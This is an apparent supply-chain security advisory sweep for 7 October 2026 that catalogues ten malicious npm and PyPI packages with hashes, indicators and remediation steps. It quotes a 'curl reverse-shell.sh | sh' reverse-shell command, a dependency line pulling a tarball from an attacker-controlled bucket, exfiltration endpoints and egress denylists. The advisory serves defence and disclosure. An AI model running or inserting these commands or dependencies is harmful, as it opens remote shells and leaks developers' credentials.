# GitHub Advisory malware sweep - 2026-10-07 (wave-2 continuation of 2026-10-05 operators: npm `hardhat-init` pino-impersonator jsonspack sibling of yesterday`s `hardhat-roof`/`hardhat-plus`, npm `css-jptvix-polyfill` Wix dep-confusion recon + NEW `appsecc.com/js` reverse-shell second stage, npm `@pinecone-experience/messages@99.9.1` Pinecone-impersonator tarball-URL install-RCE from `ltidi` GCS bucket, 4-package npm `internallib_v23/30/86/875` RFC1918 `10.0.19.80` reverse-shell cluster, pypi `lore-cs` HackerOne-bugbounty dep-confusion probe, plus 2 CWE-506 boilerplate takedowns `@kxa/xbails` and `captchetat-angularv8`)

> GHSA 2026-10-07: 10 fresh malware advisories across 6 clusters (1 pypi, 9 npm). Dominated by wave-2 continuations of yesterday`s operator families - the `jsonspack.com` pino-impersonator (`hardhat-init`), the Wix dep-confusion operator now with an `appsecc.com/js` reverse-shell second stage (`css-jptvix-polyfill`), a new 4-package `internallib_v<N>` reverse-shell cluster at `10.0.19.80` RFC1918, and a Pinecone-impersonator tarball-URL install-RCE (`@pinecone-experience/messages@99.9.1`).

- Published: 2026-10-07
- Severity: high
- Kind: Advisory sweep - A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
- Ecosystems: npm, PyPI
- Scope: 10 packages, 12 compromised versions
- Tags: typosquat, dependency-confusion, credential-theft, infostealer, obfuscation
- Also known as: 2026-10-07 GHSA sweep, hardhat-init jsonspack pino-impersonator wave 2, css-jptvix-polyfill Wix dep-confusion appsecc.com escalation, @pinecone-experience/messages ltidi dep-confusion tarball-URL, internallib_v23/30/86/875 10.0.19.80 reverse-shell, lore-cs HackerOne-bugbounty probe
- Detected by: GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, kam193/bad-packages
- Incident ID: multi-2026-10-07-ghsa-malware-sweep

## Affected packages (10)

Only the exact versions listed were named by the source advisories. Other versions are not implicated.

| Package | Ecosystem | Compromised versions |
|---|---|---|
| [@kxa/xbails](https://dependencywatch.io/package/npm/@kxa/xbails) | npm | 1.0.0 |
| [@pinecone-experience/messages](https://dependencywatch.io/package/npm/@pinecone-experience/messages) | npm | 99.9.1 |
| [captchetat-angularv8](https://dependencywatch.io/package/npm/captchetat-angularv8) | npm | 1.0.0 |
| [css-jptvix-polyfill](https://dependencywatch.io/package/npm/css-jptvix-polyfill) | npm | 1.0.0 |
| [hardhat-init](https://dependencywatch.io/package/npm/hardhat-init) | npm | 2.21.0 |
| [internallib_v23](https://dependencywatch.io/package/npm/internallib_v23) | npm | 1.0.1 |
| [internallib_v30](https://dependencywatch.io/package/npm/internallib_v30) | npm | 1.0.1 |
| [internallib_v86](https://dependencywatch.io/package/npm/internallib_v86) | npm | 1.0.0, 1.0.1, 1.0.2 |
| [internallib_v875](https://dependencywatch.io/package/npm/internallib_v875) | npm | 1.0.1 |
| [lore-cs](https://dependencywatch.io/package/pypi/lore-cs) | PyPI | 1.0.0 |

## What happened

Between roughly 2026-10-06 11:00 UTC (end of yesterday`s sweep window) and 2026-10-07 11:00 UTC, the GitHub Advisory Database (via OpenSSF `malicious-packages`, Amazon Inspector`s IN-MAL feed, and `kam193/bad-packages`) published 10 fresh malware advisories: 1 pypi and 9 npm. The dominant feature of this window is **wave-2 continuations of three operator families seen in yesterday`s 2026-10-05 sweep**, with one of the continuations materially ESCALATING in payload capability.

The 10 advisories break into **6 clusters by operator profile and payload family**:

## Cluster A - npm `hardhat-init` pino-impersonator jsonspack sibling

`hardhat-init` versions `>=2.21.0` (GHSA-w6mp-phr7-c2v5, published 2026-10-06). The package markets itself as "Hardhat initialization tooling" but ships a 1:1 copy of the pino logger`s README/documentation as cover - the same pino-impersonator tactic used by yesterday`s [`hardhat-roof`/`hardhat-plus`/`hardhat-jsx` cluster](https://dependencywatch.io/incident/multi-2026-10-05-ghsa-malware-sweep) (Cluster C, operator author string `jsonspack.com`). `index.js` requires `lib/config.js`, a heavily obfuscated 4.3MB blob with the obfuscator.io fingerprint (hex-escaped strings, nested index-lookup helpers, string-array shufflers, control-flow flattening); the IIFE at module load time means the payload runs on every `require()` without the consumer calling any API. Source SHA-256 `e2f570102756d04aa466677488cd13aacac2eb941176523bc4ff024d214affbb`.

Classify as `malicious-package`, severity `high` (confirmed obfuscated payload, direct continuation of a corpus-tracked operator; the sibling `chai-as-testmode` from yesterday`s Cluster C had confirmed base64 env-exfil, so Cluster A today inherits the same operator-level risk profile).

## Cluster B - npm `css-jptvix-polyfill` Wix dep-confusion ESCALATED with `appsecc.com/js` reverse-shell

`css-jptvix-polyfill@1.0.0` (GHSA-m6m7-6f4x-c5v3, published 2026-10-06). Uses the exact same `thunderboltRegistry.js` fingerprint and the same install-time recon template (`id`, `whoami`, `env`, `ifconfig`/`ip addr`) as yesterday`s [26-package Wix dep-confusion cluster](https://dependencywatch.io/incident/multi-2026-10-05-ghsa-malware-sweep) (Cluster B). The ESCALATION: beyond the recon-only beacon, this one also POSTs the full environment (including tokens and secrets) to a Burp Collaborator endpoint `https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com`, AND fetches and executes arbitrary JavaScript from `https://appsecc.com/js` as a reverse-shell second stage (labelled as such in the source). Source SHA-256 `cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa`.

This is a real on-call priority bump for any org that had yesterday`s Wix dep-confusion names in its lockfiles - the same operator is now shipping real post-exploitation.

Classify as `malicious-package`, severity `high` (confirmed install-time env-exfil + reverse-shell execution).

## Cluster C - npm `@pinecone-experience/messages@99.9.1` Pinecone-impersonator tarball-URL install-RCE

`@pinecone-experience/messages@99.9.1` (GHSA-px72-v3hv-7q87, published 2026-10-06). Impersonates the real Pinecone vector-database scope (`@pinecone-database/*`) with the lookalike `@pinecone-experience` scope. The sentinel version `99.9.1` sits well above any plausible internal release. The `package.json` declares a dependency on `ltidisafe` as a bare HTTPS tarball URL:

```
"ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.3.tgz"
```

This bypasses npm`s integrity verification entirely - whoever controls the `ltidi` GCS bucket can rotate the tarball between visits and get code execution with installer privileges every install. The main package`s `index.js` is a stub (`module.exports = {}`); its sole purpose is to deliver `ltidisafe` on install. The path segment `depenconf/` on the attacker`s bucket is a candid naming choice.

This is the exact same install-time RCE primitive as yesterday`s [`ultimate-websocket@1.0.0` (Cluster J)](https://dependencywatch.io/incident/multi-2026-10-05-ghsa-malware-sweep) - bare tarball-URL dependency pointing at an attacker-controlled unrelated location.

Classify as `malicious-package`, severity `high` (confirmed install-time RCE, mutable attacker-controlled payload bucket).

## Cluster D - 4-package npm `internallib_v<N>` reverse-shell cluster at `10.0.19.80`

| Package | Versions | GHSA | Target | Source SHA-256 |
|---|---|---|---|---|
| `internallib_v23` | 1.0.1 | GHSA-hpq7-6v2v-xmq3 | `10.0.19.80:4443` | `bf294381eb4f87a0dcccbd00977ac38ab25a8108639c8cc08543c7d0e09b5f36` |
| `internallib_v30` | 1.0.1 | GHSA-rqhh-xrhc-wr23 | `10.0.19.80:8443` | `52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe` |
| `internallib_v86` | <=1.0.2 | GHSA-5q3r-2hm2-jm3j | `10.0.19.80:443` | `9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07` |
| `internallib_v875` | 1.0.1 | GHSA-pjcv-xqxg-cv9j | `10.0.19.80:8443` | `a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440` |

All four export a `command()` function that executes `/bin/bash -c "curl https://reverse-shell.sh/10.0.19.80:<PORT> | sh"` - target IP `10.0.19.80` across ports `443`, `4443`, and `8443`. The `internallib_v<N>` naming convention and RFC1918 target mark this as an internal pentest / red-team engagement at a different victim org than yesterday`s [`internallib_v275@1.0.3` (Cluster F)](https://dependencywatch.io/incident/multi-2026-10-05-ghsa-malware-sweep) at `10.0.49.106:443`. The operator-profile fingerprint (sequential `_v<N>` names + exported shell to RFC1918 via `reverse-shell.sh`) is identical.

Any external org that happens to use the `internallib_v<N>` name on an internal registry is a candid dep-confusion exposure - the pentest tooling has no scoping to its target.

Classify as `dependency-confusion`, severity `high` (confirmed exported reverse-shell, pentest-pattern target with the pentest tooling publicly reachable).

## Cluster E - pypi `lore-cs@1.0.0` HackerOne-bugbounty dep-confusion probe

`lore-cs@1.0.0` (GHSA-r95v-h8pf-wxhj, published 2026-10-07). OpenSSF classifies the package under its `GENERIC-hackerone-bugbounty` campaign - a probe that exfiltrates IP addresses and username on install/import, no destructive payload. Operator identifies as a HackerOne user running a bug-bounty program test. Source SHA-256 `ae8b741b7c90400c3a5f4ba13533b1a6a75134f768934834b591c8df23eecb83`.

Classify as `dependency-confusion`, severity `medium` (PROBABLY_BUGBOUNTY labelled by OpenSSF, no second-stage disclosed).

## Cluster F - 2 npm CWE-506 boilerplate takedowns

- `@kxa/xbails` all versions (GHSA-7gvw-4c75-pc6p, published 2026-10-06) - no payload analysis
- `captchetat-angularv8` all versions (GHSA-7crr-x792-cp3w, published 2026-10-06) - Angular `captchetat` captcha wrapper typosquat, no payload analysis

Both are GHSA auto-ingest boilerplate advisories: "Any computer that has this package installed or running should be considered fully compromised" with no payload hash, no network IOC, and "No known source code" preserved.

Classify respectively as `malicious-package` and `typosquat`, severity `medium` (CWE-506 takedown with no published analysis).

## Registry state

All 10 packages in this sweep window are registry-quarantined at time of writing. Active operator-side infrastructure named in today`s batch:

- `appsecc.com/js` reverse-shell second-stage - Cluster B
- `orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com` Burp Collaborator collector - Cluster B
- `ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.3.tgz` - Cluster C (attacker-controlled, mutable)
- `10.0.19.80` RFC1918 across ports `443`, `4443`, `8443` with `reverse-shell.sh` - Cluster D
- OpenSSF`s `GENERIC-hackerone-bugbounty` campaign tag - Cluster E
- Source SHA-256s per package (listed in the Cluster D table above)

## Discovery credits

`GitHub Advisory Database`, `OpenSSF malicious-packages`, `OpenSSF Package Analysis`, `Amazon Inspector`, `kam193/bad-packages`. Per-package IOC details drawn from GHSA advisory bodies published between 2026-10-06 11:00 UTC and 2026-10-07 11:00 UTC.

## Impact

- **Cluster A - npm `hardhat-init` pino-impersonator (malicious-package, confirmed 4.3MB obfuscator.io payload - direct sibling of yesterday`s `hardhat-roof`/`hardhat-plus`)**: `hardhat-init` versions `>=2.21.0` (GHSA-w6mp-phr7-c2v5). Package masquerades as "Hardhat initialization tooling" but reproduces the pino logger`s documentation verbatim as cover. `index.js` requires `lib/config.js`, a heavily obfuscated 4.3MB blob (hex-escaped strings, nested index-lookup helpers, string-array shufflers - the obfuscator.io fingerprint identical to the [`jsonspack.com` operator`s `hardhat-roof`/`hardhat-plus`/`hardhat-jsx` cluster from 2026-10-05](https://dependencywatch.io/incident/multi-2026-10-05-ghsa-malware-sweep)) that executes immediately via an IIFE at module load time. Source SHA-256 `e2f570102756d04aa466677488cd13aacac2eb941176523bc4ff024d214affbb`. Classified `malicious-package`, severity `high` (confirmed obfuscated payload, direct continuation of a corpus-tracked operator)
- **Cluster B - npm `css-jptvix-polyfill` Wix dep-confusion with NEW `appsecc.com/js` reverse-shell second stage (malicious-package, confirmed install-time recon + reverse-shell escalation beyond yesterday`s recon-only Cluster B)**: `css-jptvix-polyfill` version `1.0.0` (GHSA-m6m7-6f4x-c5v3). Uses the same `thunderboltRegistry.js` fingerprint and the same install-time recon template (`id`, `whoami`, `env`, `ifconfig`/`ip addr`) as yesterday`s 26-package [Wix dep-confusion cluster](https://dependencywatch.io/incident/multi-2026-10-05-ghsa-malware-sweep), but adds an escalation: `env` output and the full recon payload are POSTed to a Burp Collaborator endpoint `https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com`, AND the package fetches and executes arbitrary JavaScript from `https://appsecc.com/js` as a reverse-shell second stage. Source SHA-256 `cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa`. This is the same operator profile as yesterday`s Wix dep-confusion wave BUT with a confirmed second-stage reverse-shell, so this one escalates from `medium` recon to `high` RCE. Classified `malicious-package`, severity `high` (confirmed install-time env-exfil + reverse-shell execution)
- **Cluster C - npm `@pinecone-experience/messages@99.9.1` Pinecone-impersonator tarball-URL install-RCE (malicious-package, confirmed install-time RCE via bare tarball-URL dependency on `ltidi` GCS bucket)**: `@pinecone-experience/messages` version `99.9.1` (GHSA-px72-v3hv-7q87). Impersonates the real `@pinecone-database/*` scope with the lookalike `@pinecone-experience` scope. The `package.json` declares a dependency on `ltidisafe` as a bare HTTPS tarball URL `https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.3.tgz` - bypassing npm`s integrity verification and allowing whoever controls that `ltidi` Google Cloud Storage bucket to execute code with installer privileges on every install. The package itself is a stub (`module.exports = {}`), confirming the sole purpose is delivering `ltidisafe` on install. The sentinel version `99.9.1` and the `depenconf/` path on the attacker-controlled bucket make this a classic dep-confusion-via-tarball-URL - same primitive pattern as yesterday`s [`ultimate-websocket@1.0.0`](https://dependencywatch.io/incident/multi-2026-10-05-ghsa-malware-sweep) (Cluster J). Classified `malicious-package`, severity `high` (confirmed install-time RCE path, mutable attacker-controlled payload bucket)
- **Cluster D - 4-package npm `internallib_v23/30/86/875` reverse-shell cluster to RFC1918 `10.0.19.80` (dependency-confusion, confirmed exported reverse-shell function - continuation of yesterday`s `internallib_v275` operator at new C2 subnet)**: `internallib_v23@1.0.1` (GHSA-hpq7-6v2v-xmq3), `internallib_v30@1.0.1` (GHSA-rqhh-xrhc-wr23), `internallib_v86@<=1.0.2` (GHSA-5q3r-2hm2-jm3j), `internallib_v875@1.0.1` (GHSA-pjcv-xqxg-cv9j). All four export the same `command()` function that executes `/bin/bash -c "curl https://reverse-shell.sh/10.0.19.80:<PORT> | sh"` - target IP `10.0.19.80` across ports `443`, `4443` and `8443`. The `10.0.19.80` RFC1918 target and the `internallib_v<N>` naming convention mark this as an internal pentest / red-team engagement at a different victim org than yesterday`s [`internallib_v275@1.0.3` (Cluster F)](https://dependencywatch.io/incident/multi-2026-10-05-ghsa-malware-sweep) which hit `10.0.49.106:443` - but the operator-profile fingerprint (`internallib_v<N>` + exported shell to RFC1918 via `reverse-shell.sh`) is identical. SHA-256 per advisory: `bf294381eb4f87a0dcccbd00977ac38ab25a8108639c8cc08543c7d0e09b5f36` (v23), `52b503d4f5d82ea2a67ac1cb9e3bbb82d009d375495f72cf13623f998a239cfe` (v30), `9ea0c4f9673e1db33b6782ea815e30df5d2420ceff6d7ab920592e70a511bc07` (v86), `a5772f4d8bb3df24cbd5859edef78f7770d547d4c366626552cd2dda539f1440` (v875). Classified `dependency-confusion`, severity `high` (confirmed reverse-shell export, pentest-pattern target)
- **Cluster E - pypi `lore-cs@1.0.0` HackerOne-bugbounty dep-confusion probe (dependency-confusion, confirmed install/import-time IP+username beacon, PROBABLY_BUGBOUNTY labelled by OpenSSF)**: `lore-cs@1.0.0` (GHSA-r95v-h8pf-wxhj). OpenSSF campaign tag `GENERIC-hackerone-bugbounty`. The operator identifies as a HackerOne user running a bug-bounty program test; package exfiltrates IP address and username on install OR import. No destructive payload disclosed. SHA-256 `ae8b741b7c90400c3a5f4ba13533b1a6a75134f768934834b591c8df23eecb83`. Classified `dependency-confusion`, severity `medium` (PROBABLY_BUGBOUNTY labelled, recon-only)
- **Cluster F - 2 npm CWE-506 boilerplate takedowns (typosquat/malicious-package, no payload analysis published)**: `@kxa/xbails` all versions (GHSA-7gvw-4c75-pc6p) and `captchetat-angularv8` all versions (GHSA-7crr-x792-cp3w). Both are GHSA auto-ingest boilerplate advisories: "Any computer that has this package installed or running should be considered fully compromised" with no payload hash, no network IOC, and "No known source code" preserved. `captchetat-angularv8` typosquats the real Angular `captchetat` captcha wrapper family. Treat as confirmed takedowns, severity within sweep `medium` because no analysis published and both packages are already registry-pulled
- **Operator continuity check**: today`s window is dominated by wave-2 continuations of three operator families seen in yesterday`s 2026-10-05 sweep. The `jsonspack.com` pino-impersonator (Cluster A) is now at wave 2 (`hardhat-init` after yesterday`s `hardhat-roof`/`hardhat-plus`/`hardhat-jsx`). The Wix dep-confusion operator (Cluster B) is at wave 2 with a REAL ESCALATION - yesterday`s wave was recon-only, today`s `css-jptvix-polyfill` adds `appsecc.com/js` reverse-shell execution and should raise the on-call priority for any org that saw yesterday`s Wix dep-confusion names in its lockfiles. The `internallib_v<N>` RFC1918 reverse-shell operator (Cluster D) is at wave 2 against a different victim subnet (`10.0.19.80` today, `10.0.49.106` yesterday). The Pinecone-impersonator Cluster C `@pinecone-experience/messages` is NEW to the corpus; the `ltidi.storage.googleapis.com/depenconf/` tarball-URL path is the same primitive as yesterday`s `ultimate-websocket` (Cluster J). Yesterday`s broader operator profiles - `hellscripter`/gitflic.ru (2026-10-05 Cluster A), the `4444.vbs` ChaCha20 loader (2026-10-05 Cluster D), the Oleh-Modal wallet-phishing operator (2026-10-05 Cluster I), the 25-gem RubyGems [Ethereum/crypto wgkit cluster](https://dependencywatch.io/incident/rubygems-2026-10-05-eth-crypto-wgkit-cluster), the `zencleaner`/`virgil-cli` 2026-10-06 operators, and the `2026-10-voxeval` cryptominer campaign - are all QUIET today. The `amel10`, `jexkcode`/`noverojs`, `spo365-graph`, `Graphalgo`, `donutautosellsrc`/`aseity*`, `kartyk*`, `tailwind-forms-kit`, `chinazhangsan.ccwu.cc`, `bfox-build-utils`, `fabric-loader-core`/`mfahelper`, and `zeal-utils`/`aveliscare` operators are also QUIET today

## What to do

1. **For Cluster A (`hardhat-init` pino-impersonator)**: grep every `package.json`, `package-lock.json`, `yarn.lock`, `pnpm-lock.yaml` for `hardhat-init` at `>=2.21.0`. If you already removed `hardhat-roof`/`hardhat-plus`/`hardhat-jsx` from the 2026-10-05 sweep, add `hardhat-init` to the same denylist entry under the same `jsonspack.com` operator profile. On hit, treat the dev workstation as potentially executed-against: rotate npm tokens, GitHub tokens, SSH keys, any `.env`/`.npmrc` secrets, and inspect for post-exploitation; the obfuscator.io blob`s runtime capabilities are not fully enumerated but the sibling packages from yesterday`s Cluster C showed env-exfil behaviour. Hold the public-npm name `hardhat-init` with a placeholder package at a high version to deny this slug permanently
2. **For Cluster B (`css-jptvix-polyfill` Wix dep-confusion + appsecc.com reverse-shell)**: this one escalates beyond yesterday`s recon-only Wix Cluster B. Grep for `css-jptvix-polyfill` across lockfiles. On hit, assume the installer host executed arbitrary JavaScript from `appsecc.com/js` with Node privileges AND leaked environment variables to `orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com`. Rotate all environment-captured credentials. Add `appsecc.com` and the `*.oastify.com` collector to the CI/build-host egress denylist (block the whole `*.oastify.com` apex if your org does not legitimately run Burp Collaborator engagements). If your org publishes any `css-*-polyfill` style names on an internal registry, scope-lock the internal registry and hold the public name with a placeholder
3. **For Cluster C (`@pinecone-experience/messages@99.9.1` Pinecone tarball-URL RCE)**: grep for `@pinecone-experience/messages` across lockfiles. On hit, assume the installer host executed whatever payload the `ltidi.storage.googleapis.com/depenconf/ltidisafe-3.8.3.tgz` bucket served at install time. Rotate npm, GitHub, cloud, and SSH credentials from the installer host. Block the `ltidi.storage.googleapis.com` bucket and the `storage.googleapis.com/depenconf/` path prefix at egress. If your org legitimately publishes under `@pinecone-database/*` (the real Pinecone scope), hold the public `@pinecone-experience/*` scope with a placeholder package at a plausibly-high version to deny this slug permanently. The use of `99.9.1` as a sentinel in a vendor-looking lookalike scope is the dep-confusion fingerprint to flag
4. **For Cluster D (4-package `internallib_v23/30/86/875` RFC1918 reverse-shell)**: these are almost certainly a different victim org`s internal pentest / red-team engagement (same operator-profile fingerprint as yesterday`s `internallib_v275`). If your org operates on the `10.0.19.0/24` or `10.0.19.80` specifically and the engagement is NOT yours, treat each of these packages as evidence of an unauthorised dep-confusion probe landing on your internal registry name. If this IS your engagement, de-register the sentinel-version public packages by replacing them with placeholder legitimate releases under your real internal namespace. Any external org that happens to use the `internallib_v<N>` name is still exposed - uninstall + rebuild from scope-locked registry
5. **For Cluster E (`lore-cs` pypi)**: grep every `requirements.txt`, `pyproject.toml`, `Pipfile.lock`, `poetry.lock` for `lore-cs`. On hit uninstall. If this was in fact a HackerOne bug-bounty engagement your org commissioned, de-register the OpenSSF probe by replacing the sentinel with a legitimate placeholder under your real internal namespace. No destructive payload disclosed by OpenSSF so no immediate credential-rotation action required beyond uninstall
6. **For Cluster F (CWE-506 boilerplate takedowns `@kxa/xbails`, `captchetat-angularv8`)**: grep lockfiles for both names. On hit, uninstall, delete `node_modules`, delete the lockfile, rebuild from a scope-locked registry. Developers who meant the real `captchetat` captcha wrapper family (Angular v8-era) autocompleted the wrong name - fix the autocomplete and teach the real spelling. No specific IOC published for either, so no egress blocklist entry today
7. **NEW outbound denylist entries for CI/build-host egress proxies today**: `appsecc.com` and `appsecc.com/js` (Cluster B reverse-shell second-stage); `orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com` and ideally the whole `*.oastify.com` apex (Cluster B OAST collector - block unless legitimately running Burp Collaborator); `ltidi.storage.googleapis.com` and the `storage.googleapis.com/depenconf/` path (Cluster C Pinecone tarball-URL bucket); `reverse-shell.sh` already covered; `10.0.19.0/24` RFC1918 - block egress to any RFC1918 from CI/build hosts anyway. Keep prior egress blocks in place: `api.nm-streetwear.space` and `nm-streetwear.space` apex (2026-10-06 Cluster B), `discord.com/api/webhooks` (2026-10-06 Cluster A unless legitimately used), `ipify.org` + `ifconfig.me` (2026-10-06 Cluster A IP-enrichment), `gitflic.ru` and `web.archive.org/web/https://gitflic.ru/*` (2026-10-05 Cluster A), `api.wagmiwallet.org` (2026-10-05 Cluster I), `backend-cybersecuritydashboard.onrender.com` (2026-10-05 Cluster G), `10.0.49.106:443` (2026-10-05 Cluster F reverse-shell), Monero mining pools (2026-10-04 Cluster A `voxeval`), Ethereum mainnet / Sepolia / Arbitrum Sepolia RPC, `chinazhangsan.ccwu.cc`, `api.npoint.io`, `api.telegram.org`, `fabric-npm.gm-service.xyz`, `jsonkeeper.com`, `trktgq0wbre1`, `npm-canary.aveliscare.com`, Polygon RPC, `meta.brs.cx`, `s3://pkusinski-external/`, AWS account `631484165566`, Slack bot-token exfil, `s85r5k14qk.execute-api.us-east-1.amazonaws.com/prod/hook`, and the `45.138.0.0/16` RubyGems wgkit CIDRs

## Check your own dependencies

- Check a package-lock.json against this incident: https://dependencywatch.io/check/package-lock-json
- Check a requirements.txt against this incident: https://dependencywatch.io/check/requirements-txt

The scan runs entirely in the browser; lockfile contents are never uploaded.

## References

- [GitHub Advisory Database - recent malware advisories](https://github.com/advisories?query=type%3Amalware&sort=published-desc) - GitHub
- [GHSA-w6mp-phr7-c2v5 - npm hardhat-init (Cluster A - pino-impersonator jsonspack sibling)](https://github.com/advisories/GHSA-w6mp-phr7-c2v5) - GitHub
- [GHSA-m6m7-6f4x-c5v3 - npm css-jptvix-polyfill (Cluster B - Wix dep-confusion ESCALATED with appsecc.com/js reverse-shell)](https://github.com/advisories/GHSA-m6m7-6f4x-c5v3) - GitHub
- [GHSA-px72-v3hv-7q87 - npm @pinecone-experience/messages (Cluster C - Pinecone-impersonator tarball-URL install-RCE)](https://github.com/advisories/GHSA-px72-v3hv-7q87) - GitHub
- [GHSA-hpq7-6v2v-xmq3 - npm internallib_v23 (Cluster D - RFC1918 10.0.19.80:4443 reverse-shell)](https://github.com/advisories/GHSA-hpq7-6v2v-xmq3) - GitHub
- [GHSA-rqhh-xrhc-wr23 - npm internallib_v30 (Cluster D - RFC1918 10.0.19.80:8443 reverse-shell)](https://github.com/advisories/GHSA-rqhh-xrhc-wr23) - GitHub
- [GHSA-5q3r-2hm2-jm3j - npm internallib_v86 (Cluster D - RFC1918 10.0.19.80:443 reverse-shell)](https://github.com/advisories/GHSA-5q3r-2hm2-jm3j) - GitHub
- [GHSA-pjcv-xqxg-cv9j - npm internallib_v875 (Cluster D - RFC1918 10.0.19.80:8443 reverse-shell)](https://github.com/advisories/GHSA-pjcv-xqxg-cv9j) - GitHub
- [GHSA-r95v-h8pf-wxhj - pypi lore-cs (Cluster E - OpenSSF GENERIC-hackerone-bugbounty probe)](https://github.com/advisories/GHSA-r95v-h8pf-wxhj) - GitHub
- [GHSA-7gvw-4c75-pc6p - npm @kxa/xbails (Cluster F - CWE-506 boilerplate)](https://github.com/advisories/GHSA-7gvw-4c75-pc6p) - GitHub
- [GHSA-7crr-x792-cp3w - npm captchetat-angularv8 (Cluster F - CWE-506 boilerplate, Angular captchetat typosquat)](https://github.com/advisories/GHSA-7crr-x792-cp3w) - GitHub
- [DependencyWatch: multi-2026-10-05-ghsa-malware-sweep (operator continuity: jsonspack pino-impersonator Cluster C, Wix dep-confusion Cluster B, internallib Cluster F, ultimate-websocket Cluster J)](https://dependencywatch.io/incident/multi-2026-10-05-ghsa-malware-sweep)

---

Canonical page: https://dependencywatch.io/incident/multi-2026-10-07-ghsa-malware-sweep
Markdown version: https://dependencywatch.io/incident/multi-2026-10-07-ghsa-malware-sweep.md
Site index for agents: https://dependencywatch.io/llms.txt
DependencyWatch.io is operated by Precursor Security (https://precursorsecurity.com).